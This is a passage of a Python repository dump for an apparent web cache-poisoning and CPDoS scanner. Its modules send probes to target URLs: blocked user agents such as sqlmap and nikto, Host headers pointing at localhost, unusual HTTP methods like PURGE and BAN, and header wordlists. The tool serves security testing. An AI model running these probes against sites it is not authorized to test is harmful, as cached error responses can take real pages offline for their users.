71 | print(f" {Identify.behavior} | CPDoSError {len(req_main.content)}b > {len(req_test.content)}b | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}")
72 | verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s)
73 | except requests.Timeout:
74 | #print(f"request timeout {url} {p}")
75 | pass
76 | except Exception as e:
77 | #traceback.print_exc()
78 | pass
79 |
80 |
81 |
82 |
83 | if __name__ == "__main__":
84 | # file => python3 file.py f file.txt | single url => python3 file.py url.com
85 | s = requests.Session()
86 | s.headers.update(
87 | {
88 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko",
89 | }
90 | )
91 |
92 | if len(sys.argv) == 2:
93 | url = sys.argv[1]
94 | main(url, s)
95 | elif len(sys.argv) == 3:
96 | input_file = sys.argv[2]
97 | with open(input_file, 'r') as f:
98 | urls = [line.strip() for line in f if line.strip()]
99 | for url in urls:
100 | main(url, s)
101 | print(f" {url}", end='\r')
102 | else:
103 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com")
--------------------------------------------------------------------------------
/modules/cpdos/waf_rules.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Checks if WAF blocking can be cached
6 | ex: user-agent: sqlmap > blocked by waf > cached
7 | """
8 |
9 | from modules.utils import *
10 |
11 | def waf_rules(url, s, req_main, authent):
12 | print(" - waf rules")
13 | bad_ua = ["360Spider", "acapbot", "acoonbot", "ahrefs", "alexibot", "asterias", "attackbot", "backdorbot", "becomebot", "binlar", "blackwidow", "blekkobot", "blexbot", "blowfish", "bullseye", "bunnys", "butterfly", "careerbot", "casper", "checkpriv", "cheesebot", "cherrypick", "chinaclaw", "choppy", "clshttp", "cmsworld", "copernic", "copyrightcheck", "cosmos", "crescent", "cy_cho", "datacha", "demon", "diavol", "discobot", "dittospyder", "dotbot", "dotnetdotcom", "dumbot", "emailcollector", "emailsiphon", "emailwolf", "exabot", "extract", "eyenetie", "feedfinder", "flaming", "flashget", "flicky", "foobot", "g00g1e", "getright", "gigabot", "gozilla", "grabnet", "grafula", "harvest", "heritrix", "httrack", "icarus6j", "jetbot", "jetcar", "jikespider", "kmccrew", "leechftp", "libweb", "linkextractor", "linkscan", "linkwalker", "loader", "masscan", "miner", "majestic", "mechanize", "mj12bot", "morfeus", "moveoverbot", "netmechanic", "netspider", "nicerspro", "nikto", "ninja", "nutch", "octopus", "pagegrabber", "planetwork", "postrank", "proximic", "purebot", "pycurl", "python", "queryn", "queryseeker", "radian6", "radiation", "realdownload", "rogerbot", "scooter", "seekerspider", "semalt", "siclab", "sindice", "sistrix", "sitebot", "siteexplorer", "sitesnagger", "skygrid", "smartdownload", "snoopy", "sosospider", "spankbot", "spbot", "sqlmap", "stackrambler", "stripper", "sucker", "surftbot", "sux0r", "suzukacz", "suzuran", "takeout", "teleport", "telesoft", "true_robots", "turingos", "turnit", "vampire", "vikspider", "voideye", "webleacher", "webreaper", "webstripper", "webvac", "webviewer", "webwhacker", "winhttp", "wwwoffle", "woxbot", "xaldon", "xxxyy", "yamanalab", "yioopbot", "youda", "zeus", "zmeu", "zune", "zyborg"]
14 |
15 | block_res = False
16 | cache_block_res = False
17 |
18 | main_status_code = req_main.status_code
19 |
20 | list_block_ua = []
21 | list_cache_block_ua = []
22 |
23 | if main_status_code not in [403, 401]:
24 | for bua in bad_ua:
25 | headers = {
26 | "user-agent": bua
27 | }
28 | req_ua = s.get(url, headers=headers, verify=False, timeout=10, auth=authent, allow_redirects=False)
29 | if req_ua.status_code == 403:
30 | list_block_ua.append(bua)
31 | for rf in req_ua.headers:
32 | if "cache" in rf.lower():
33 | try:
34 | if req_ua.headers["X-Cache"]:
35 | if req_ua.headers["X-Cache"] != "Error from cloudfront":
36 | list_cache_block_ua.append(bua)
37 | elif req_ua.headers["X-Cache"] == "Error from cloudfront":
38 | pass
39 | else:
40 | list_cache_block_ua.append(bua)
41 | except KeyError:
42 | list_cache_block_ua.append(bua)
43 | if list_block_ua:
44 | if len(list_block_ua) > 1:
45 | print(f"{url} 403 with {len(list_block_ua)}")
46 | else:
47 | print(f"{url} 403 with {list_block_ua}")
48 | if list_cache_block_ua:
49 | if len(list_cache_block_ua) > 1:
50 | print(f"{url} cached the 403 response with {len(list_cache_block_ua)} {list_cache_block_ua[1]}")
51 | else:
52 | print(f"{url} cached the 403 response with {list_cache_block_ua}".format(url, ))
53 |
--------------------------------------------------------------------------------
/modules/header_checks/check_localhost.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attemps to check if localhost can be scanned with Host Header
6 | """
7 |
8 | from modules.utils import *
9 |
10 | def check_localhost(url, s, domain, authent):
11 | list_test = ["127.0.0.1", "localhost", "192.168.0.1", "127.0.1", "127.1", "::1", "127.0.0.2", "127.0.0.1", "127.0.0.1:22",
12 | "0.0.0.0", "0.0.0.0:443", "[::]:80", "127.0.0.1.nip.io", "127.127.127.127"]
13 |
14 | print(f"{Colors.CYAN} ├ Host analysis{Colors.RESET}")
15 | for lt in list_test:
16 | headers = {"Host": lt}
17 | try:
18 | req = s.get(url, headers=headers, verify=False, allow_redirects=False, timeout=10)
19 | if req.status_code in [301, 302]:
20 | try:
21 | req_redirect = s.get(url, headers=headers, verify=False, allow_redirects=True, timeout=10, auth=authent)
22 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3}{'→':^3}{req.headers['location']}")
23 | except:
24 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3}{'→':^3}{req.headers['location']}")
25 | else:
26 | print(f" └── Host: {lt:<13}{'→':^3} {req.status_code:>3} [{len(req.content)} bytes]")
27 | except:
28 | #traceback.print_exc()
29 | pass
--------------------------------------------------------------------------------
/modules/header_checks/http_version.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Check support for different HTTP versions
6 | """
7 |
8 | from http.client import HTTPConnection
9 | from modules.utils import requests, configure_logger
10 |
11 | logger = configure_logger(__name__)
12 |
13 |
14 | def check_http_version(url):
15 |
16 | print("\033[36m ├ HTTP Version analysis\033[0m")
17 | versions = ["HTTP/0.9", "HTTP/1.0", "HTTP/1.1", "HTTP/1.6", "HTTP/2", "HTTP/3", "QUIC", "HtTP/1.1", "SHTTP/1.3", "HTTP/1.1.1"]
18 |
19 | try:
20 | req = requests.get(url, verify=False, allow_redirects=False, timeout=10)
21 | req_base_version = req.raw.version
22 | logger.debug("HTTP Version : %s", req_base_version)
23 |
24 | for v in versions:
25 | HTTPConnection._http_vsn_str = v
26 | try:
27 | req_v = requests.get(url, timeout=10, verify=False, allow_redirects=False)
28 | print(
29 | f" └── {v:<9}: {req_v.status_code:<3} [{len(req_v.content)} bytes] [Header Size: {len(req_v.headers)}b]"
30 | )
31 | except requests.exceptions.Timeout:
32 | print(f" └── Timeout Error with {v}")
33 | except KeyboardInterrupt as exc:
34 | raise KeyboardInterrupt from exc
35 | except Exception as e:
36 | print(f" └── Error with {v} : {e}")
37 | logger.exception(e)
38 |
39 | if req_base_version == 10:
40 | HTTPConnection._http_vsn_str = "HTTP/1.0"
41 | elif req_base_version == 11:
42 | HTTPConnection._http_vsn_str = "HTTP/1.1"
43 | elif req_base_version == 20:
44 | HTTPConnection._http_vsn_str = "HTTP/2"
45 | except Exception as e:
46 | print(f" └── Error {e}")
47 | logger.exception(e)
48 |
49 |
50 | if __name__ == "__main__":
51 | url = "https://www.hosteur.com"
52 | check_http_version(url)
53 |
--------------------------------------------------------------------------------
/modules/header_checks/methods.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Check support for different HTTP methods
6 | """
7 |
8 | import urllib3
9 | from urllib3 import Timeout, PoolManager
10 | from modules.utils import requests, configure_logger
11 |
12 | logger = configure_logger(__name__)
13 |
14 | desc_method = {
15 | 204: "204 No Content",
16 | 400: "\033[33m400 Bad Request\033[0m",
17 | 405: "\033[33m405 Method Not Allowed\033[0m",
18 | 406: "\033[33m406 Not Acceptable\033[0m",
19 | 409: "\033[33m409 Conflict\033[0m",
20 | 410: "410 Gone",
21 | 500: "\033[31m500 Internal Server Error\033[0m",
22 | 501: "\033[31m501 Not Implemented\033[0m",
23 | 502: "\033[31m502 Bad Gateway\033[0m",
24 | }
25 |
26 | header = {
27 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko"
28 | }
29 |
30 |
31 | def get(url):
32 | req_g = requests.get(
33 | url, verify=False, allow_redirects=False, headers=header, timeout=120
34 | )
35 | return req_g.status_code, req_g.headers, "GET", len(req_g.content), req_g.content
36 |
37 |
38 | def post(url):
39 | req_p = requests.post(
40 | url, verify=False, allow_redirects=False, headers=header, timeout=120
41 | )
42 | return req_p.status_code, req_p.headers, "POST", len(req_p.content), req_p.content
43 |
44 |
45 | def put(url):
46 | req_pt = requests.put(
47 | url, verify=False, allow_redirects=False, headers=header, timeout=120
48 | )
49 | return (
50 | req_pt.status_code,
51 | req_pt.headers,
52 | "PUT",
53 | len(req_pt.content),
54 | req_pt.content,
55 | )
56 |
57 |
58 | def patch(url):
59 | req_ptch = requests.patch(
60 | url, verify=False, allow_redirects=False, headers=header, timeout=120
61 | )
62 | return (
63 | req_ptch.status_code,
64 | req_ptch.headers,
65 | "PATCH",
66 | len(req_ptch.content),
67 | req_ptch.content,
68 | )
69 |
70 |
71 | def options(url):
72 | req_o = requests.options(
73 | url, verify=False, allow_redirects=False, headers=header, timeout=120
74 | )
75 | return (
76 | req_o.status_code,
77 | req_o.headers,
78 | "OPTIONS",
79 | len(req_o.content),
80 | req_o.content,
81 | )
82 |
83 |
84 | def check_other_methods(ml, url, http):
85 | try:
86 | if ml == "DELETE":
87 | url = f"{url}plopiplop.css"
88 | resp = http.request(ml, url) # check response with a bad method
89 | rs = resp.status
90 | resp_h = resp.headers
91 |
92 | cache_status = False
93 | try:
94 | rs = desc_method[rs]
95 | except KeyError:
96 | logger.debug("No descriptions available for status %s", rs)
97 |
98 | for rh in resp_h:
99 | if (
100 | "Cache-Status" in rh
101 | or "X-Cache" in rh
102 | or "x-drupal-cache" in rh
103 | or "X-Proxy-Cache" in rh
104 | or "X-HS-CF-Cache-Status" in rh
105 | or "X-Vercel-Cache" in rh
106 | or "X-nananana" in rh
107 | or "x-vercel-cache" in rh
108 | or "X-TZLA-EDGE-Cache-Hit" in rh
109 | or "x-spip-cache" in rh
110 | or "x-nextjs-cache" in rh
111 | ):
112 | cache_status = True
113 | len_req = len(resp.data.decode("utf-8"))
114 | if len(ml) > 4:
115 | print(
116 | f" └── {ml}{'':<3}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]"
117 | )
118 | elif len(ml) < 4 and len(ml) > 2:
119 | print(
120 | f" └── {ml}{'':<5}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]"
121 | )
122 | elif len(ml) == 2:
123 | print(
124 | f" └── {ml}{'':<6}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]"
125 | )
126 | else:
127 | print(
128 | f" └── {ml}{'':<4}: {rs:<3} [{len_req} bytes]{'':<1}[CacheTag: {cache_status}]"
129 | )
130 | logger.debug("Data response: %s", resp.data)
131 |
132 | except urllib3.exceptions.MaxRetryError:
133 | print(f" └── {ml} : Error due to a too many redirects")
134 | except Exception as e:
135 | logger.exception(e)
136 |
137 |
138 | def check_methods(url, custom_header, authent):
139 | """
140 | Try other method
141 | Ex: OPTIONS /admin
142 | """
143 | htimeout = Timeout(connect=7.0, read=7.0)
144 | http = PoolManager(timeout=htimeout)
145 |
146 | print("\033[36m ├ Methods analysis\033[0m")
147 | result_list = []
148 | for funct in [get, post, put, patch, options]:
149 | try:
150 | result_list.append(funct(url))
151 | except Exception as e:
152 | print(f" └── Error with {funct} method: {e}")
153 | logger.exception("Error with %s method", funct, exc_info=True)
154 |
155 | for rs, req_head, type_r, len_req, req_content in result_list:
156 | try:
157 | rs = desc_method[rs]
158 | except KeyError:
159 | logger.debug("No descriptions available for status %s", rs)
160 |
161 | cache_status = False
162 | cache_res = ""
163 |
164 | for rh in req_head:
165 | if "cache" in rh.lower():
166 | cache_status = True
167 | cache_res = rh
168 | print(f" └── {type_r:<8}: {rs:<3} [{len_req} bytes] [CacheTag: {cache_status}]")
169 | if type_r == "OPTIONS":
170 | for x in req_head:
171 | if x.lower() == "allow":
172 | print(f" |-- allow: {req_head[x]}")
173 |
174 | method_list = [
175 | "ST",
176 | "BAN",
177 | "ACL",
178 | "PLOP",
179 | "HELP",
180 | "BREW",
181 | "PURGE",
182 | "DEBUG",
183 | "TRACE",
184 | "REPORT",
185 | "DISMISS",
186 | "CONNECT",
187 | "PROPFIND",
188 | "FASTLYPURGE",
189 | "PURGESINGLE",
190 | "SHOWHEADERS",
191 | ]
192 | for ml in method_list:
193 | check_other_methods(ml, url, http)
194 |
--------------------------------------------------------------------------------
/modules/header_checks/vhosts.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Checks if web page content is different between IP address and Host
6 | """
7 |
8 | import socket
9 | from urllib.parse import urlparse
10 | from modules.utils import requests, configure_logger
11 |
12 | logger = configure_logger(__name__)
13 |
14 | def check_vhost(domain, url):
15 | print("\033[36m ├ Vhosts misconfiguration \033[0m")
16 | try:
17 | req_index = requests.get(url, verify=False, timeout=10)
18 | len_index = len(req_index.content)
19 | retrieve_vh = False
20 |
21 | parsed_url = urlparse(url)
22 | host = parsed_url.netloc
23 | dom = host if host.split(".")[0] != "www" else host.lstrip("www.")
24 |
25 | #print(dom)
26 |
27 | vhosts = [f"https://{dom}/", f"http://{dom}/", f"http://www2.{dom}/", f"http://www3.{dom}/", f"https://www2.{dom}/",
28 | f"https://www3.{dom}/"]
29 | for vh in vhosts:
30 | #print(vh)
31 | try:
32 | req_vh = requests.get(vh, verify=False, timeout=10)
33 | if req_vh.status_code not in [404, 403, 425, 503, 500, 400] and len(req_vh.content) not in range(len_index - 100, len_index + 100):
34 | retrieve_vh = True
35 | print(f" └── \033[32m\u251c\033[0m {url} [{len_index}b] <> {vh} [{len(req_vh.content)}b] ")
36 | except (requests.RequestException, socket.gaierror) as e:
37 | logger.exception("The host IP has a problem, check it manually please: %s. Exception: %s", vh, e)
38 | except (requests.RequestException, socket.gaierror) as e:
39 | logger.exception("Exception occurred: %s", e)
40 |
--------------------------------------------------------------------------------
/modules/lists/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | This module provides functionality to load payloads from files into lists.
6 | """
7 |
8 | from typing import List
9 | from modules.lists.payloads_errors import payloads_keys
10 | from modules.lists.all_payload_keys import all_payload_keys
11 |
12 | __all__ = ["load_payloads_from", "header_list", "mobile_user_agents", "payloads_keys", "all_payload_keys"]
13 |
14 | header_list = []
15 | mobile_user_agents = []
16 |
17 |
18 | def load_payloads_from(file_path: str) -> List[str]:
19 | """
20 | Load payloads from a file into a list.
21 |
22 | :param file_path: Path to the file containing payloads.
23 | :return: A list of payloads.
24 | """
25 | results: List[str] = []
26 | try:
27 | with open(file_path, "r", encoding="utf-8") as f:
28 | results = [line for line in f.read().split("\n") if line]
29 | except FileNotFoundError:
30 | print(f"The file '{file_path}' was not found.")
31 | return results
32 |
33 |
34 | mobile_user_agents = load_payloads_from("./modules/lists/mobile-user-agent.lst")
35 | header_list = load_payloads_from("./modules/lists/lowercase-headers.lst")
36 |
--------------------------------------------------------------------------------
/modules/lists/lowercase-headers.lst:
--------------------------------------------------------------------------------
1 | Accept
2 | Accept-Application
3 | Accept-Charset
4 | Accept-Encoding
5 | Accept-Encodxng
6 | Accept-Language
7 | Accept-Ranges
8 | Accept-Version
9 | Accepted
10 | Access-Control-Allow-Credentials
11 | Access-Control-Allow-Headers
12 | Access-Control-Allow-Methods
13 | Access-Control-Allow-Origin
14 | Access-Control-Expose-Headers
15 | Access-Control-Max-Age
16 | Access-Control-Request-Headers
17 | Access-Control-Request-Method
18 | Access-Token
19 | Accesskey
20 | Action
21 | Admin
22 | Age
23 | Ajax
24 | Akamai-Origin-Hop
25 | Allow
26 | App
27 | App-Env
28 | App-Key
29 | Appcookie
30 | Apply-To-Redirect-Ref
31 | Appname
32 | Appversion
33 | Atcept-Language
34 | Auth
35 | Auth-Any
36 | Auth-Basic
37 | Auth-Digest
38 | Auth-Digest-Ie
39 | Auth-Gssneg
40 | Auth-Key
41 | Auth-Ntlm
42 | Auth-Password
43 | Auth-Realm
44 | Auth-Type
45 | Auth-User
46 | Authentication
47 | Authorization
48 | Bad-Gateway
49 | Bad-Request
50 | Bae-Env-Addr-Bcms
51 | Bae-Env-Addr-Bcs
52 | Bae-Env-Addr-Bus
53 | Bae-Env-Addr-Channel
54 | Bae-Env-Addr-Sql-Ip
55 | Bae-Env-Addr-Sql-Port
56 | Bae-Env-Ak
57 | Bae-Env-Appid
58 | Bae-Env-Sk
59 | Bae-Logid
60 | Bar
61 | Base
62 | Base-Url
63 | Basic
64 | Bearer-Indication
65 | Body-Maxlength
66 | Body-Truncated
67 | Brief
68 | Browser-User-Agent
69 | Cache-Control
70 | Cache-Info
71 | Case-Files
72 | Catalog
73 | Catalog-Server
74 | Category
75 | Cert-Cookie
76 | Cert-Flags
77 | Cert-Issuer
78 | Cert-Keysize
79 | Cert-Secretkeysize
80 | Cert-Serialnumber
81 | Cert-Server-Issuer
82 | Cert-Server-Subject
83 | Cert-Subject
84 | Cf-Connecting-Ip
85 | Cf-Ipcountry
86 | Cf-Template-Path
87 | Cf-Visitor
88 | Ch
89 | Challenge-Response
90 | Charset
91 | Chunk-Size
92 | Client
93 | Client-Address
94 | Client-Bad-Request
95 | Client-Conflict
96 | Client-Error-Cannot-Access-Local-File
97 | Client-Error-Cannot-Connect
98 | Client-Error-Communication-Failure
99 | Client-Error-Connect
100 | Client-Error-Invalid-Parameters
101 | Client-Error-Invalid-Server-Address
102 | Client-Error-No-Error
103 | Client-Error-Protocol-Failure
104 | Client-Error-Unspecified-Error
105 | Client-Expectation-Failed
106 | Client-Forbidden
107 | Client-Gone
108 | Client-Ip
109 | Client-Length-Required
110 | Client-Method-Not-Allowed
111 | Client-Not-Acceptable
112 | Client-Not-Found
113 | Client-Payment-Required
114 | Client-Precondition-Failed
115 | Client-Proxy-Auth-Required
116 | Client-Quirk-Mode
117 | Client-Request-Timeout
118 | Client-Request-Too-Large
119 | Client-Request-Uri-Too-Large
120 | Client-Requested-Range-Not-Possible
121 | Client-Unauthorized
122 | Client-Unsupported-Media-Type
123 | Clientaddress
124 | Clientip
125 | Cloudfront-Viewer-Country
126 | Cloudinary-Name
127 | Cloudinary-Public-Id
128 | Cloudinary-Version
129 | Cloudinaryurl
130 | Code
131 | Coming-From
132 | Compress
133 | Conflict
134 | Connection
135 | Connection-Type
136 | Contact
137 | Content
138 | Content-Disposition
139 | Content-Encoding
140 | Content-Language
141 | Content-Length
142 | Content-Location
143 | Content-Md5
144 | Content-Range
145 | Content-Security-Policy
146 | Content-Security-Policy-Report-Only
147 | Content-Type
148 | Content-Type-Xhtml
149 | Context-Path
150 | Continue
151 | Cookie
152 | Cookie-Domain
153 | Cookie-Httponly
154 | Cookie-Parse-Raw
155 | Cookie-Path
156 | Cookie-Secure
157 | Cookie-Vars
158 | Cookie2
159 | Cookies
160 | Core-Base
161 | Created
162 | Credentials-Filepath
163 | Curl
164 | Curl-Multithreaded
165 | Custom-Header
166 | Custom-Secret-Header
167 | Dataserviceversion
168 | Date
169 | Debug
170 | Deflate-Level-Def
171 | Deflate-Level-Max
172 | Deflate-Level-Min
173 | Deflate-Strategy-Def
174 | Deflate-Strategy-Filt
175 | Deflate-Strategy-Fixed
176 | Deflate-Strategy-Huff
177 | Deflate-Strategy-Rle
178 | Deflate-Type-Gzip
179 | Deflate-Type-Raw
180 | Deflate-Type-Zlib
181 | Delete
182 | Depth
183 | Destination
184 | Destroy
185 | Devblocksproxybase
186 | Devblocksproxyhost
187 | Devblocksproxyssl
188 | Device-Stock-Ua
189 | Digest
190 | Dir
191 | Dir-Name
192 | Dir-Resource
193 | Disable-Gzip
194 | Dkim-Signature
195 | Dnt
196 | Download-Attachment
197 | Download-Bad-Url
198 | Download-Bz2
199 | Download-Cut-Short
200 | Download-E-Headers-Sent
201 | Download-E-Invalid-Archive-Type
202 | Download-E-Invalid-Content-Type
203 | Download-E-Invalid-File
204 | Download-E-Invalid-Param
205 | Download-E-Invalid-Request
206 | Download-E-Invalid-Resource
207 | Download-E-No-Ext-Mmagic
208 | Download-E-No-Ext-Zlib
209 | Download-Inline
210 | Download-Mime-Type
211 | Download-No-Server
212 | Download-Size
213 | Download-Status-Not-Found
214 | Download-Status-Server-Error
215 | Download-Status-Unauthorized
216 | Download-Status-Unknown
217 | Download-Tar
218 | Download-Tgz
219 | Download-Url
220 | Download-Zip
221 | E-Encoding
222 | E-Header
223 | E-Invalid-Param
224 | E-Malformed-Headers
225 | E-Message-Type
226 | E-Querystring
227 | E-Request
228 | E-Request-Method
229 | E-Request-Pool
230 | E-Response
231 | E-Runtime
232 | E-Socket
233 | E-Url
234 | Enable-Gzip
235 | Enable-No-Cache-Headers
236 | Encoding-Stream-Flush-Full
237 | Encoding-Stream-Flush-None
238 | Encoding-Stream-Flush-Sync
239 | Env-Silla-Environment
240 | Env-Vars
241 | Error
242 | Error-1
243 | Error-2
244 | Error-3
245 | Error-4
246 | Error-Formatting-Html
247 | Espo-Authorization
248 | Espo-Cgi-Auth
249 | Etag
250 | Eve-Charid
251 | Eve-Charname
252 | Eve-Solarsystemid
253 | Eve-Solarsystemname
254 | Eve-Trusted
255 | Ex-Copy-Movie
256 | Expect
257 | Expectation-Failed
258 | Expires
259 | Ext
260 | Failed-Dependency
261 | Fake-Header
262 | Fastly-Client-Ip
263 | Fb-Appid
264 | Fb-Secret
265 | File-Not-Found
266 | Filename
267 | Files
268 | Files-Vars
269 | Fire-Breathing-Dragon
270 | Foo
271 | Foo-Bar
272 | Forbidden
273 | Force-Language
274 | Force-Local-Xhprof
275 | Format
276 | Forwarded
277 | Forwarded-For
278 | Forwarded-For-Ip
279 | Forwarded-Proto
280 | From
281 | Fromlink
282 | Front-End-Https
283 | Gateway-Interface
284 | Gateway-Time-Out
285 | Get
286 | Get-Vars
287 | Givenname
288 | Global-All
289 | Global-Cookie
290 | Global-Get
291 | Global-Post
292 | Gone
293 | Google-Code-Project-Hosting-Hook-Hmac
294 | Gzip-Level
295 | H0st
296 | Head
297 | Header
298 | Header-Lf
299 | Header-Status-Client-Error
300 | Header-Status-Informational
301 | Header-Status-Redirect
302 | Header-Status-Server-Error
303 | Header-Status-Successful
304 | Home
305 | Host
306 | Host-Liveserver
307 | Host-Name
308 | Host-Unavailable
309 | Hosti
310 | Htaccess
311 | Http-Accept
312 | Http-Accept-Encoding
313 | Http-Accept-Language
314 | Http-Authorization
315 | Http-Connection
316 | Http-Cookie
317 | Http-Host
318 | Http-Phone-Number
319 | Http-Referer
320 | Http-Url
321 | Http-User-Agent
322 | Https
323 | Https-From-Lb
324 | Https-Keysize
325 | Https-Secretkeysize
326 | Https-Server-Issuer
327 | Https-Server-Subject
328 | If
329 | If-Match
330 | If-Modified-Since
331 | If-Modified-Since-Version
332 | If-None-Match
333 | If-Posted-Before
334 | If-Range
335 | If-Unmodified-Since
336 | If-Unmodified-Since-Version
337 | Image
338 | Images
339 | Incap-Client-Ip
340 | Info
341 | Info-Download-Size
342 | Info-Download-Time
343 | Info-Return-Code
344 | Info-Total-Request-Stat
345 | Info-Total-Response-Stat
346 | Insufficient-Storage
347 | Internal-Server-Error
348 | Ipresolve-Any
349 | Ipresolve-V4
350 | Ipresolve-V6
351 | Ischedule-Version
352 | Iv-Groups
353 | Iv-User
354 | Javascript
355 | Jenkins
356 | Keep-Alive
357 | Kiss-Rpc
358 | Label
359 | Large-Allocation
360 | Last-Event-Id
361 | Last-Modified
362 | Length-Required
363 | Link
364 | Local-Addr
365 | Local-Content-Sha1
366 | Local-Dir
367 | Location
368 | Lock-Token
369 | Locked
370 | Mail
371 | Max-Conn
372 | Max-Forwards
373 | Max-Request-Size
374 | Max-Uri-Length
375 | Maxdataserviceversion
376 | Message
377 | Message-B
378 | Meth-
379 | Meth-Acl
380 | Meth-Baseline-Control
381 | Meth-Checkin
382 | Meth-Checkout
383 | Meth-Connect
384 | Meth-Copy
385 | Meth-Delete
386 | Meth-Get
387 | Meth-Head
388 | Meth-Label
389 | Meth-Lock
390 | Meth-Merge
391 | Meth-Mkactivity
392 | Meth-Mkcol
393 | Meth-Mkworkspace
394 | Meth-Move
395 | Meth-Options
396 | Meth-Post
397 | Meth-Propfind
398 | Meth-Proppatch
399 | Meth-Put
400 | Meth-Report
401 | Meth-Trace
402 | Meth-Uncheckout
403 | Meth-Unlock
404 | Meth-Update
405 | Meth-Version-Control
406 | Method
407 | Method-Not-Allowed
408 | Mimetype
409 | Mod-Env
410 | Mod-Rewrite
411 | Mod-Security-Message
412 | Modauth
413 | Mode
414 | Module-Class
415 | Module-Class-Path
416 | Module-Name
417 | Moved-Permanently
418 | Moved-Temporarily
419 | Ms-Asprotocolversion
420 | Msg-None
421 | Msg-Request
422 | Msg-Response
423 | Msisdn
424 | Multi-Status
425 | Multipart-Boundary
426 | Multiple-Choices
427 | My-Header
428 | Mysqlport
429 | Native-Sockets
430 | Negotiate
431 | Nl
432 | No-Content
433 | Non-Authoritative
434 | Nonce
435 | Not-Acceptable
436 | Not-Exists
437 | Not-Extended
438 | Not-Found
439 | Not-Implemented
440 | Not-Modified
441 | Notification-Template
442 | Oc-Chunked
443 | Ocs-Apirequest
444 | Ok
445 | On-Behalf-Of
446 | Onerror-Continue
447 | Onerror-Die
448 | Onerror-Return
449 | Opencart
450 | Options
451 | Organizer
452 | Orig_path_info
453 | Origin
454 | Originator
455 | Overwrite
456 | Params-Allow-Comma
457 | Params-Allow-Failure
458 | Params-Default
459 | Params-Get-Catid
460 | Params-Get-Currentday
461 | Params-Get-Disposition
462 | Params-Get-Downwards
463 | Params-Get-Givendate
464 | Params-Get-Lang
465 | Params-Get-Type
466 | Params-Raise-Error
467 | Partial-Content
468 | Passkey
469 | Password
470 | Path
471 | Path-Base
472 | Path-Info
473 | Path-Themes
474 | Path-Translated
475 | Payment-Required
476 | Pc-Remote-Addr
477 | Phone-Number
478 | Php
479 | Php-Auth-Pw
480 | Php-Auth-User
481 | Phpthreads
482 | Pink-Pony
483 | Port
484 | Portsensor-Auth
485 | Post
486 | Post-Error
487 | Post-Files
488 | Post-Vars
489 | Postredir-301
490 | Postredir-302
491 | Postredir-All
492 | Pragma
493 | Pragma-No-Cache
494 | Precondition-Failed
495 | Prefer
496 | Processing
497 | Profile
498 | Protocol
499 | Protocols
500 | Proxy
501 | Proxy-Agent
502 | Proxy-Authenticate
503 | Proxy-Authentication-Required
504 | Proxy-Authorization
505 | Proxy-Connection
506 | Proxy-Host
507 | Proxy-Http
508 | Proxy-Http-1-0
509 | Proxy-Password
510 | Proxy-Port
511 | Proxy-Pwd
512 | Proxy-Request-Fulluri
513 | Proxy-Socks4
514 | Proxy-Socks4a
515 | Proxy-Socks5
516 | Proxy-Socks5-Hostname
517 | Proxy-Url
518 | Proxy-User
519 | Public-Key-Pins
520 | Public-Key-Pins-Report-Only
521 | Pull
522 | Put
523 | Query-String
524 | Querystring
525 | Querystring-Type-Array
526 | Querystring-Type-Bool
527 | Querystring-Type-Float
528 | Querystring-Type-Int
529 | Querystring-Type-Object
530 | Querystring-Type-String
531 | Range
532 | Range-Not-Satisfiable
533 | Raw-Post-Data
534 | Read-State-Begin
535 | Read-State-Body
536 | Read-State-Headers
537 | Real-Ip
538 | Real-Method
539 | Reason
540 | Reason-Phrase
541 | Recipient
542 | Redirect
543 | Redirect-Found
544 | Redirect-Perm
545 | Redirect-Post
546 | Redirect-Problem-Withoutwww
547 | Redirect-Problem-Withwww
548 | Redirect-Proxy
549 | Redirect-Temp
550 | Redirected-Accept-Language
551 | Redirection-Found
552 | Redirection-Multiple-Choices
553 | Redirection-Not-Modified
554 | Redirection-Permanent
555 | Redirection-See-Other
556 | Redirection-Temporary
557 | Redirection-Unused
558 | Redirection-Use-Proxy
559 | Ref
560 | Referer
561 | Referer
562 | Referrer
563 | Referrer-Policy
564 | Refferer
565 | Refresh
566 | Remix-Hash
567 | Remote-Addr
568 | Remote-Host
569 | Remote-Host-Wp
570 | Remote-User
571 | Remote-Userhttps
572 | Report-To
573 | Request
574 | Request-Entity-Too-Large
575 | Request-Error
576 | Request-Error-File
577 | Request-Error-Gzip-Crc
578 | Request-Error-Gzip-Data
579 | Request-Error-Gzip-Method
580 | Request-Error-Gzip-Read
581 | Request-Error-Proxy
582 | Request-Error-Redirects
583 | Request-Error-Response
584 | Request-Error-Url
585 | Request-Http-Ver-1-0
586 | Request-Http-Ver-1-1
587 | Request-Mbstring
588 | Request-Method
589 | Request-Method-
590 | Request-Method-Delete
591 | Request-Method-Get
592 | Request-Method-Head
593 | Request-Method-Options
594 | Request-Method-Post
595 | Request-Method-Put
596 | Request-Method-Trace
597 | Request-Time-Out
598 | Request-Timeout
599 | Request-Uri
600 | Request-Uri-Too-Large
601 | Request-Vars
602 | Request2-Tests-Base-Url
603 | Request2-Tests-Proxy-Host
604 | Requesttoken
605 | Reset-Content
606 | Response
607 | Rest-Key
608 | Rest-Sign
609 | Retry-After
610 | Returned-Error
